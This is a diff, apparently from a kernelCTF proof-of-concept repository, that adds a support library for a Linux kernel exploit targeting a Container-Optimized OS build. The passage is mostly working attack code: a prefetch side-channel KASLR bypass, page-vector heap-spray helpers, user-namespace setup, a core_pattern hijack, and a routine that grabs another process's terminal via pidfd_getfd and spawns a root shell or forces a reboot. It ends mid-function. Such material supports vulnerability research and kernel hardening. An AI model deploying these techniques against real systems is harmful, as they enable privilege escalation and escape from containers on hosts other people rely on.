libx.o kaslr.o +NETLINK_OBJS = netlink/net.o netlink/qdisc.o netlink/bond.o netlink/veth.o + +OBJS = $(ROOT_OBJS) $(NETLINK_OBJS) + +all: libx.so libx.a + +musl: + $(MAKE) CC=musl-gcc all + +libx.o: libx.c libx.h + $(CC) $(CFLAGS) -masm=intel -c libx.c -o libx.o + +kaslr.o: kaslr.c kaslr.h + $(CC) $(CFLAGS) -c kaslr.c -o kaslr.o + +netlink/net.o: netlink/net.c netlink/net.h + $(CC) $(CFLAGS) -c netlink/net.c -o netlink/net.o + +netlink/qdisc.o: netlink/qdisc.c netlink/qdisc.h + $(CC) $(CFLAGS) -c netlink/qdisc.c -o netlink/qdisc.o + +netlink/bond.o: netlink/bond.c netlink/bond.h + $(CC) $(CFLAGS) -c netlink/bond.c -o netlink/bond.o + +netlink/veth.o: netlink/veth.c netlink/veth.h + $(CC) $(CFLAGS) -c netlink/veth.c -o netlink/veth.o + +libx.so: $(OBJS) + $(CC) $(CFLAGS) -shared -o $@ $(OBJS) + +libx.a: $(OBJS) + ar rcs $@ $(OBJS) + +clean: + rm -rf ./*.o ./*.so ./*.a netlink/*.o + +install: libx.so libx.a + cp ./libx.so $(PREFIX)/ + cp ./libx.a $(PREFIX)/ + cp ./libx.h $(INCLUDE_PREFIX)/ + cp ./kaslr.h $(INCLUDE_PREFIX)/ + mkdir -p $(INCLUDE_PREFIX)/netlink + cp ./netlink/*.h $(INCLUDE_PREFIX)/netlink/ + +install-musl: libx.so libx.a + cp ./libx.so /lib/x86_64-linux-musl/ + cp ./libx.a /lib/x86_64-linux-musl/ + cp ./libx.h /usr/include/x86_64-linux-musl/ + cp ./kaslr.h /usr/include/x86_64-linux-musl/ + mkdir -p /usr/include/x86_64-linux-musl/netlink + cp ./netlink/*.h /usr/include/x86_64-linux-musl/netlink/ + +uninstall: + rm -f $(PREFIX)/libx.so $(PREFIX)/libx.a + rm -f $(INCLUDE_PREFIX)/libx.h $(INCLUDE_PREFIX)/kaslr.h + rm -rf $(INCLUDE_PREFIX)/netlink + +uninstall-musl: + rm -f /lib/x86_64-linux-musl/libx.so /lib/x86_64-linux-musl/libx.a + rm -f /usr/include/x86_64-linux-musl/libx.h /usr/include/x86_64-linux-musl/kaslr.h + rm -rf /usr/include/x86_64-linux-musl/netlink diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/kaslr.c b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/kaslr.c new file mode 100644 index 000000000..ff6154ae8 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/kaslr.c @@ -0,0 +1,128 @@ +// KASLR bypass via prefetch side-channel +// Adapted from CVE-2025-39946 (AMD/Intel compatible implementation) +// Original technique from https://github.com/IAIK/prefetch + +#include "kaslr.h" +#include + +// Scan range and parameters +#define KASLR_SCAN_START 0xffffffff81000000ull +#define KASLR_SCAN_END 0xffffffffc0000000ull +#define KASLR_SCAN_STEP 0x200000ull // 2MB steps (AMD-friendly) +#define KASLR_NUM_VOTES 9 +#define KASLR_SAMPLES 16 +#define KASLR_WINDOW 11 // sliding window size +#define NUM_SCAN_ENTRIES ((KASLR_SCAN_END - KASLR_SCAN_START) / KASLR_SCAN_STEP) + +static inline __attribute__((always_inline)) uint64_t rdtsc_begin(void) { + uint64_t a, d; + asm volatile ("mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" + "lfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + return (d << 32) | a; +} + +static inline __attribute__((always_inline)) uint64_t rdtsc_end(void) { + uint64_t a, d; + asm volatile( + "xor %%rax, %%rax\n\t" + "lfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + return (d << 32) | a; +} + +static void do_prefetch(void *p) { + asm volatile ( + "prefetchnta (%0)\n" + "prefetcht2 (%0)\n" + : : "r" (p)); +} + +static size_t measure_prefetch(void *addr) { + size_t time = rdtsc_begin(); + do_prefetch(addr); + return rdtsc_end() - time; +} + +size_t get_kaslr_precise(int pti) { + (void)pti; + u64 base = 0; + + while (1) { + u64 votes[KASLR_NUM_VOTES] = {0}; + + for (int vote = 0; vote < KASLR_NUM_VOTES; vote++) { + size_t times[NUM_SCAN_ENTRIES]; + u64 addrs[NUM_SCAN_ENTRIES]; + + for (int i = 0; i < NUM_SCAN_ENTRIES; i++) { + times[i] = ~(size_t)0; + addrs[i] = KASLR_SCAN_START + KASLR_SCAN_STEP * (u64)i; + } + + // Collect minimum timing for each address + for (int s = 0; s < KASLR_SAMPLES; s++) { + for (int i = 0; i < NUM_SCAN_ENTRIES; i++) { + size_t t = measure_prefetch((void *)addrs[i]); + if (t < times[i]) + times[i] = t; + } + } + + // AMD/generic: mapped kernel pages show HIGHER prefetch latency. + // Find start of largest contiguous high-latency region using + // sliding window. + uint64_t max_sum = 0; + int max_start = 0; + for (int i = 0; i < NUM_SCAN_ENTRIES - KASLR_WINDOW; i++) { + uint64_t sum = 0; + for (int w = 0; w < KASLR_WINDOW; w++) + sum += times[i + w]; + if (sum > max_sum) { + max_sum = sum; + max_start = i; + } + } + votes[vote] = addrs[max_start]; + } + + // Boyer-Moore majority vote + int c = 0; + for (int i = 0; i < KASLR_NUM_VOTES; i++) { + if (c == 0) + base = votes[i]; + if (base == votes[i]) + c++; + else + c--; + } + + // Verify majority + c = 0; + for (int i = 0; i < KASLR_NUM_VOTES; i++) { + if (base == votes[i]) + c++; + } + + if (c > KASLR_NUM_VOTES / 2) { + printf("[+] KASLR bypass: kernel base = %llx (%d/%d votes)\n", + (unsigned long long)base, c, KASLR_NUM_VOTES); + return base; + } + + printf("[-] majority vote failed (best=%llx votes=%d/%d), retrying...\n", + (unsigned long long)base, c, KASLR_NUM_VOTES); + } +} diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/kaslr.h b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/kaslr.h new file mode 100644 index 000000000..00f5f1a69 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/kaslr.h @@ -0,0 +1,18 @@ +#ifndef KASLR_H +#define KASLR_H + +#include +#include +#include +#include +#include + +#define size_t unsigned long long +typedef unsigned char u8; +typedef unsigned short u16; +typedef unsigned int u32; +typedef unsigned long long u64; + +size_t get_kaslr_precise(int pti); + +#endif diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/libx.c b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/libx.c new file mode 100644 index 000000000..798d0913c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/libx.c @@ -0,0 +1,202 @@ +#include "libx.h" + +pgvFrame pgv[INITIAL_PG_VEC_SPRAY]; +pgvFrame pgvL[0x400]; +int optmem_max; +int urand_fd=-1; +int pg_vec_child[2],pg_vec_parent[2]; +int sk_fd[SOCKET_NUM][2]; +int pipe_fd[PIPE_NUM*4][2]; +size_t MSGLIMIT = 0; +size_t user_cs, user_ss, user_rflags, user_sp; + +void success(const char *text){ + printf("\033[1;32m[+] "); + printf("%s", text); + printf("\033[0m\n"); +} +void info(const char *text){ + printf("\033[34m\033[1m[+] %s\033[0m\n",text); +} +void panic(const char *text){ + printf("\033[0;31m"); + printf("[X] %s", text); + printf("\033[0m\n"); + exit(0x132); +} +char *hex(size_t num){ + char *buf = malloc(0x20); + snprintf(buf,0x20,"%p",(void *)num); + return buf; +} + +void pinCPU(int id){ + cpu_set_t my_set; + CPU_ZERO(&my_set); + CPU_SET(id, &my_set); + sched_setaffinity(0, sizeof(cpu_set_t), &my_set); +} +void impLimit(){ + struct rlimit limit; + pid_t pid = 0; + if (prlimit(pid, RLIMIT_NOFILE, 0, &limit) == -1) { + perror("prlimit failed"); + return ; + } + + limit.rlim_cur = limit.rlim_max; + limit.rlim_max = limit.rlim_max; + prlimit(pid, RLIMIT_NOFILE, &limit, 0); +} +void sandbox() +{ + uid_t uid = getuid(); + gid_t gid = getgid(); + int temp; + char edit[0x100]; + unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET); + + temp = open("/proc/self/setgroups", O_WRONLY); + write(temp, "deny", strlen("deny")); + close(temp); + + temp = open("/proc/self/uid_map", O_WRONLY); + snprintf(edit, sizeof(edit), "0 %d 1", uid); + write(temp, edit, strlen(edit)); + close(temp); + + temp = open("/proc/self/gid_map", O_WRONLY); + snprintf(edit, sizeof(edit), "0 %d 1", gid); + write(temp, edit, strlen(edit)); + close(temp); + return; +} +void saveStatus() +{ + __asm__ ( + "mov %0, cs;" + "mov %1, ss;" + "mov %2, rsp;" + "pushf;" + "pop %3;" + : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) + ); +} + +void debug(){ + success("DEBUG"); + char buf[0x10]={}; + read(0,buf,0xf); +} +void shell(){ + FAIL(getuid(),"[!] Failed to Escape"); + system("/bin/sh"); +} +void _sigsegv_handler(int sig, siginfo_t *si, void *unused) { + info("Libx: SegFault Handler is spwaning a shell..."); + shell(); + while(1); +} +void hook_segfault(){ + struct sigaction sa; + memset(&sa, 0, sizeof(sigaction)); + sigemptyset(&sa.sa_mask); + sa.sa_flags = SA_SIGINFO; + sa.sa_sigaction = _sigsegv_handler; + + if (sigaction(SIGSEGV, &sa, 0) == -1) { + perror("hook_segfault"); + exit(EXIT_FAILURE); + } + if (sigaction(SIGTRAP, &sa, 0) == -1) { + perror("hook_segfault"); + exit(EXIT_FAILURE); + } +} + +#define PAGE_ALLOC_COSTLY_ORDER 3 +#define DIV_ROUND_UP __KERNEL_DIV_ROUND_UP +#define __KERNEL_DIV_ROUND_UP(n, d) (((n) + (d) - 1) / (d)) +size_t slab_size[] = {0x8,0x10,0x20,0x40,0x60,0x80,0xc0,0x100,0x200,0x400,0x800,0x1000,0x2000}; + +void initSocketArrayN(int sk_socket[SOCKET_NUM][2],size_t nr){ + for(int i = 0 ; i < nr ; i++) + FAIL(socketpair(AF_UNIX, SOCK_STREAM, 0, sk_socket[i])< 0,"[-] Failed to create sockect pairs!"); +} + +u64 _pvg_sock(u64 size, u64 n) +{ + struct tpacket_req req; + u32 socketfd, version; + socketfd = socket(AF_PACKET, SOCK_RAW, PF_PACKET); + FAIL_IF(socketfd<0); + + version = TPACKET_V1; + + FAIL_IF(setsockopt(socketfd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)) < 0); + + assert(size % 4096 == 0); + + memset(&req, 0, sizeof(req)); + req.tp_block_size = size; + req.tp_block_nr = n; + req.tp_frame_size = PAGE_SIZE; + req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size; + FAIL_IF(setsockopt(socketfd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)) < 0); + return socketfd; +} +void pgvAdd(size_t idx, size_t order, size_t nr){ + FAIL(idx>=sizeof(pgvL)/sizeof(pgvL[0]), "Index OOB"); + pgvL[idx].fd = _pvg_sock(PAGE_SIZE * (1<=sizeof(pgvL)/sizeof(pgvL[0]), "Index OOB"); + FAIL(pgvL[idx].fd <= 0,"[-] PGV not allocated"); + void *mapped = mmap(0, pgvL[idx].size , PROT_READ | PROT_WRITE, MAP_SHARED, pgvL[idx].fd, 0); + FAIL((long long )mapped < 0,"[-] FAILED to MAP PGV"); + pgvL[idx].mapped = mapped; + return mapped; +} + +void coreShell(int reboot){ + success("Escaping..."); + char buf[0x100] = {}; + FILE* fp = popen("pidof n132","r"); + fread(buf,1,0x100,fp); + fclose(fp); + int pid = strtoull(buf,0,10); + int pfd = syscall(SYS_pidfd_open,pid,0); + int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0); + dup2(stdinfd ,0); + dup2(stdoutfd ,1); + dup2(stderrfd ,2); + if(reboot==0) + system("cat /flag;/bin/bash"); + else + system("cat /flag;echo o>/proc/sysrq-trigger;"); +} +void crash(int fd,char *bin_path) +{ + int memfd = memfd_create("", 0); + sendfile(memfd, open(bin_path, 0), 0, 0xffffffff); + if(dup2(memfd,fd)==-1){ + panic("WTF"); + } + close(memfd); + char dst[0x100] = {}; + snprintf(dst,sizeof(dst),"|/proc/%%P/fd/%d",fd); + while (1) + { + char buf[0x100] = {}; + int core = open("/proc/sys/kernel/core_pattern", 0); + read(core, buf, sizeof(buf)); + close(core); + if(strncmp(buf, dst, strlen(dst)) == 0) + *(size_t *)0 = 0; + sleep(1); + } +} diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/libx.h b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/libx.h new file mode 100644 index 000000000..3aa5acf32 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/libx.h @@ -0,0 +1,107 @@ +#define _GNU_SOURCE +#ifndef MYLIB_H +#define LIBX "v1.0" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "netlink/net.h" +#include "netlink/qdisc.h" +#include "netlink/bond.h" +#include "netlink/veth.h" + +#define PIPE_NUM 256 +#define SOCKET_NUM 0x400 +#define INITIAL_PG_VEC_SPRAY 0x200 +#define KASLR 0xffffffff81000000ull +#define ELIBX 0x132 + +typedef __SIZE_TYPE__ size_t; +typedef unsigned char u8; +typedef unsigned short u16; +typedef unsigned int u32; +typedef unsigned long long u64; + +#define FAIL_IF(x) if ((x)) { \ + printf("\033[0;31m"); \ + perror(#x); \ + printf("\033[0m\n"); \ + exit(-ELIBX); \ +} + +#define FAIL(x, msg) if ((x)) { \ + printf("\033[0;31m"); \ + printf("%s\n",msg); \ + perror(#x); \ + printf("\033[0m\n"); \ + exit(-ELIBX); \ +} + +#define COREHEAD(argv) \ + do { \ + if (strncmp((argv)[0], "/proc/", 6) == 0) { \ + coreShell(0); \ + } else { \ + strncpy((argv)[0], "n132", strlen((argv)[0])); \ + (argv)[0][strlen("n132")] = '\0'; \ + } \ + } while (0) + +extern int sk_fd[SOCKET_NUM][2]; +extern size_t user_cs, user_ss, user_rflags, user_sp; + +void shell(void); +char * hex(size_t); +void success(const char *text); +void info(const char *text); +void panic(const char *text); +size_t get_kaslr(int pti); +size_t get_kaslr_precise(int pti); +void debug(void); +void impLimit(void); +void pinCPU(int id); +void sandbox(void); +void saveStatus(void); +void hook_segfault(void); +void coreShell(int reboot); +void crash(int fd, char *bin_path); + +void initSocketArrayN(int sk_socket[SOCKET_NUM][2],size_t nr); + +typedef struct pgv_frame{ + int fd; + char * mapped; + size_t size; +}pgvFrame; + +extern pgvFrame pgv[INITIAL_PG_VEC_SPRAY]; +extern pgvFrame pgvL[0x400]; + +void pgvAdd(size_t idx, size_t order, size_t nr); +void * pgvMap(int idx); + +#endif diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/bond.c b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/bond.c new file mode 100644 index 000000000..4087741e7 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/bond.c @@ -0,0 +1,11 @@ +#include "bond.h" + +char * bondAdd(const char *name) +{ + return linkAdd(name, "bond"); +} + +char * bondModeSet(const char *name, __u8 mode) +{ + return linkAttrSet(name, "bond", IFLA_BOND_MODE, sizeof(__u8), &mode); +} diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/bond.h b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/bond.h new file mode 100644 index 000000000..a1e5fba9e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/bond.h @@ -0,0 +1,12 @@ +#ifndef BOND_H +#define BOND_H + +#include "net.h" + +#define BOND_MODE_BROADCAST 3 + +char * bondAdd(const char *name); + +char * bondModeSet(const char *name, __u8 mode); + +#endif diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/net.c b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/net.c new file mode 100644 index 000000000..683e3ab68 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/net.c @@ -0,0 +1,175 @@ +#include "net.h" + +int initNL(void ){ + struct if_msg if_up_msg = { + { + .nlmsg_len = 32, + .nlmsg_type = RTM_NEWLINK, + .nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK, + }, + { + .ifi_family = AF_UNSPEC, + .ifi_type = ARPHRD_NETROM, + .ifi_index = 1, + .ifi_flags = IFF_UP, + .ifi_change = 1, + }, + }; + int nl_sock_fd = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + FAIL_IF(nl_sock_fd < 0); + + int one = 1; + setsockopt(nl_sock_fd, SOL_NETLINK, NETLINK_EXT_ACK, &one, sizeof(one)); + if_up_msg.ifi.ifi_index = if_nametoindex("lo"); + NLMsgSend(nl_sock_fd, (struct tf_msg *)(&if_up_msg)); + return nl_sock_fd; +} + +#define NEWLINK_BUF_SIZE 512 +struct newlink_req { + struct nlmsghdr nlh; + struct ifinfomsg ifi; + char attrbuf[NEWLINK_BUF_SIZE]; +}; + +char * linkAttrSet(const char *name, const char *kind, __u16 attr_type, size_t attr_size, void *attr_value) +{ + struct newlink_req *req = calloc(1, sizeof(struct newlink_req)); + + req->nlh.nlmsg_type = RTM_NEWLINK; + req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + + req->ifi.ifi_family = AF_UNSPEC; + req->ifi.ifi_index = if_nametoindex(name); + + struct rtattr *li = (struct rtattr *)((size_t)req + req->nlh.nlmsg_len); + li->rta_type = IFLA_LINKINFO; + li->rta_len = RTA_LENGTH(0); + + li->rta_len += RTA_ALIGN(add_rtattr( + (size_t)li + li->rta_len, IFLA_INFO_KIND, strlen(kind) + 1, (char *)kind)); + + struct rtattr *data = (struct rtattr *)((size_t)li + li->rta_len); + data->rta_type = IFLA_INFO_DATA; + data->rta_len = RTA_LENGTH(0); + + data->rta_len += RTA_ALIGN(add_rtattr( + (size_t)data + data->rta_len, attr_type, attr_size, (char *)attr_value)); + + li->rta_len += RTA_ALIGN(data->rta_len); + req->nlh.nlmsg_len += NLMSG_ALIGN(li->rta_len); + + return (char *)req; +} + +char * linkAdd(const char *name, const char *kind) +{ + struct newlink_req *req = calloc(1, sizeof(struct newlink_req)); + + req->nlh.nlmsg_type = RTM_NEWLINK; + req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; + req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + + req->ifi.ifi_family = AF_UNSPEC; + req->ifi.ifi_index = 0; + + if(name){ + req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr( + (size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len), + IFLA_IFNAME, strlen(name) + 1, (char *)name)); + } + + struct rtattr *li = (struct rtattr *)((size_t)req + req->nlh.nlmsg_len); + li->rta_type = IFLA_LINKINFO; + li->rta_len = RTA_LENGTH(0); + + li->rta_len += RTA_ALIGN(add_rtattr( + (size_t)li + li->rta_len, IFLA_INFO_KIND, strlen(kind) + 1, (char *)kind)); + + req->nlh.nlmsg_len += NLMSG_ALIGN(li->rta_len); + + return (char *)req; +} + +char * linkSet(const char *name, int up) +{ + struct newlink_req *req = calloc(1, sizeof(struct newlink_req)); + + req->nlh.nlmsg_type = RTM_NEWLINK; + req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + + req->ifi.ifi_family = AF_UNSPEC; + req->ifi.ifi_index = if_nametoindex(name); + req->ifi.ifi_change = IFF_UP; + req->ifi.ifi_flags = up ? IFF_UP : 0; + + return (char *)req; +} + +char * linkMasterSet(const char *iface, const char *master) +{ + struct newlink_req *req = calloc(1, sizeof(struct newlink_req)); + + req->nlh.nlmsg_type = RTM_NEWLINK; + req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + + req->ifi.ifi_family = AF_UNSPEC; + req->ifi.ifi_index = if_nametoindex(iface); + + __u32 master_idx = if_nametoindex(master); + req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr( + (size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len), + IFLA_MASTER, sizeof(__u32), (char *)&master_idx)); + + return (char *)req; +} + +char * linkMasterDel(const char *iface) +{ + struct newlink_req *req = calloc(1, sizeof(struct newlink_req)); + + req->nlh.nlmsg_type = RTM_NEWLINK; + req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + + req->ifi.ifi_family = AF_UNSPEC; + req->ifi.ifi_index = if_nametoindex(iface); + + __u32 master_idx = 0; + req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr( + (size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len), + IFLA_MASTER, sizeof(__u32), (char *)&master_idx)); + + return (char *)req; +} + +char * linkMtuSet(const char *name, __u32 mtu) +{ + struct newlink_req *req = calloc(1, sizeof(struct newlink_req)); + + req->nlh.nlmsg_type = RTM_NEWLINK; + req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + + req->ifi.ifi_family = AF_UNSPEC; + req->ifi.ifi_index = if_nametoindex(name); + + req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr( + (size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len), + IFLA_MTU, sizeof(__u32), (char *)&mtu)); + + return (char *)req; +} + +char * dummyAdd(const char *name) +{ + return linkAdd(name, "dummy"); +} + +char * dummySet(const char *name, int up) +{ + return linkSet(name, up); +} diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/net.h b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/net.h new file mode 100644 index 000000000..9c7a536a9 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/net.h @@ -0,0 +1,190 @@ +#ifndef NF_H +#define NF_H +#define _GNU_SOURCE +typedef __SIZE_TYPE__ size_t; + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define ELIBX 0x132 +#define FAIL_IF(x) if ((x)) { \ + printf("\033[0;31mFail"); \ + perror(#x); \ + printf("\033[0m\n"); \ + exit(-ELIBX); \ +} + +#define FAIL(x, msg) if ((x)) { \ + printf("\033[0;31mFAIL"); \ + printf("%s\n",msg); \ + perror(#x); \ + printf("\033[0m\n"); \ + exit(-ELIBX); \ +} + +typedef __u32 u32; +typedef struct tf_msg { + struct nlmsghdr nlh; + struct tcmsg tcm; +#define TC_DATA_LEN 0x200 + char attrbuf[TC_DATA_LEN]; +}; + +struct if_msg { + struct nlmsghdr nlh; + struct ifinfomsg ifi; +}; + +typedef unsigned char u8; +typedef unsigned short u16; +typedef unsigned int u32; +typedef unsigned long long u64; + +#ifndef NLMSGERR_ATTR_MSG +#define NLMSGERR_ATTR_MSG 1 +#define NLMSGERR_ATTR_OFFS 2 +#endif + +#ifndef NETLINK_EXT_ACK +#define NETLINK_EXT_ACK 11 +#endif + +#ifndef NLM_F_ACK_TLVS +#define NLM_F_ACK_TLVS 0x200 +#endif + +static inline void NLMsgSend_interface (int sock, char *m, const char *ifname) { + + struct tf_msg *ptr = (struct tf_msg *)m; + + ptr->tcm.tcm_ifindex = if_nametoindex(ifname); + if (!ptr->tcm.tcm_ifindex) { + perror("if_nametoindex"); + return; + } + struct { + struct nlmsghdr nh; + struct nlmsgerr ne; + char buf[0x200]; + } ack; + size_t len = ((struct nlmsghdr *)m)->nlmsg_len; + FAIL_IF(write(sock, m, len) == -1); + FAIL_IF(read(sock , &ack, sizeof(ack)) == -1); + if(ack.ne.error){ + const char *ext_msg = NULL; + + if (ack.nh.nlmsg_flags & NLM_F_ACK_TLVS) { + size_t off = sizeof(ack.ne); + while (off < ack.nh.nlmsg_len - sizeof(ack.nh)) { + struct nlattr *nla = (struct nlattr *)(ack.buf + off - sizeof(ack.ne)); + if (nla->nla_type == NLMSGERR_ATTR_MSG) { + ext_msg = (char *)nla + sizeof(struct nlattr); + break; + } + off += NLA_ALIGN(nla->nla_len); + if (nla->nla_len == 0) break; + } + } + if (ext_msg) + printf("\033[1;33m[!] NLMsgSend error: %d (%s): %s\033[0m\n", ack.ne.error, strerror(-ack.ne.error), ext_msg); + else + printf("\033[1;33m[!] NLMsgSend error: %d (%s)\033[0m\n", ack.ne.error, strerror(-ack.ne.error)); + } +} + +static inline void NLMsgSend (int sock, char *m) { + struct { + struct nlmsghdr nh; + struct nlmsgerr ne; + char buf[0x200]; + } ack; + size_t len = ((struct nlmsghdr *)m)->nlmsg_len; + FAIL_IF(write(sock, m, len) == -1); + FAIL_IF(read(sock , &ack, sizeof(ack)) == -1); + if(ack.ne.error){ + const char *ext_msg = NULL; + + if (ack.nh.nlmsg_flags & NLM_F_ACK_TLVS) { + size_t off = sizeof(ack.ne); + while (off < ack.nh.nlmsg_len - sizeof(ack.nh)) { + struct nlattr *nla = (struct nlattr *)(ack.buf + off - sizeof(ack.ne)); + if (nla->nla_type == NLMSGERR_ATTR_MSG) { + ext_msg = (char *)nla + sizeof(struct nlattr); + break; + } + off += NLA_ALIGN(nla->nla_len); + if (nla->nla_len == 0) break; + } + } + if (ext_msg) + printf("\033[1;33m[!] NLMsgSend error: %d (%s): %s\033[0m\n", ack.ne.error, strerror(-ack.ne.error), ext_msg); + else + printf("\033[1;33m[!] NLMsgSend error: %d (%s)\033[0m\n", ack.ne.error, strerror(-ack.ne.error)); + } +} + +static inline void NLS(int sock, char *m) { + NLMsgSend(sock, m); +} + +static inline void NLS_IF(int sock, char *m, const char *ifname) { + NLMsgSend_interface(sock, m, ifname); +} + +static inline void init_tf_msg (struct tf_msg *m) { + + m->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(m->tcm)); + m->nlh.nlmsg_type = 0; + + m->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + m->nlh.nlmsg_seq = 0; + m->nlh.nlmsg_pid = 0; + + m->tcm.tcm_family = PF_UNSPEC; + m->tcm.tcm_ifindex = if_nametoindex("lo"); + m->tcm.tcm_handle = 0; + m->tcm.tcm_parent = -1; + m->tcm.tcm_info = 0; +} + +static inline unsigned short add_rtattr (unsigned long rta_addr, unsigned short type, unsigned short len, char *data) { + struct rtattr *rta = (struct rtattr *)rta_addr; + rta->rta_type = type; + rta->rta_len = RTA_LENGTH(len); + memcpy(RTA_DATA(rta), data, len); + return rta->rta_len; +} + +int initNL(void); + +char * linkAttrSet(const char *name, const char *kind, __u16 attr_type, size_t attr_size, void *attr_value); + +char * linkAdd(const char *name, const char *kind); + +char * linkSet(const char *name, int up); + +char * linkMasterSet(const char *iface, const char *master); + +char * linkMasterDel(const char *iface); + +char * linkMtuSet(const char *name, __u32 mtu); + +char * dummyAdd(const char *name); + +char * dummySet(const char *name, int up); + +#endif diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/qdisc.c b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/qdisc.c new file mode 100644 index 000000000..3e0b09916 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/qdisc.c @@ -0,0 +1,33 @@ +#include "qdisc.h" + +char * qdiscDel(u32 handle) { + struct tf_msg *m = calloc(1, sizeof(struct tf_msg)); + init_tf_msg(m); + + m->nlh.nlmsg_type = RTM_DELQDISC; + m->tcm.tcm_handle = handle; + m->tcm.tcm_parent = -1; + return (char *)m; +} + +char * netemQdisc(enum QDISC_OPS OPS, u32 handle, u32 parent, u32 usec){ + + struct tf_msg *m = calloc(1,sizeof(struct tf_msg)); + + init_tf_msg(m); + m->nlh.nlmsg_type = RTM_NEWQDISC; + if (OPS == QDISC_ADD) + m->nlh.nlmsg_flags |= NLM_F_CREATE; + else + m->nlh.nlmsg_flags |= NLM_F_REPLACE | NLM_F_CREATE; + m->tcm.tcm_handle = handle >> 16 << 16; + m->tcm.tcm_parent = parent; + + m->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr((size_t)(m) + 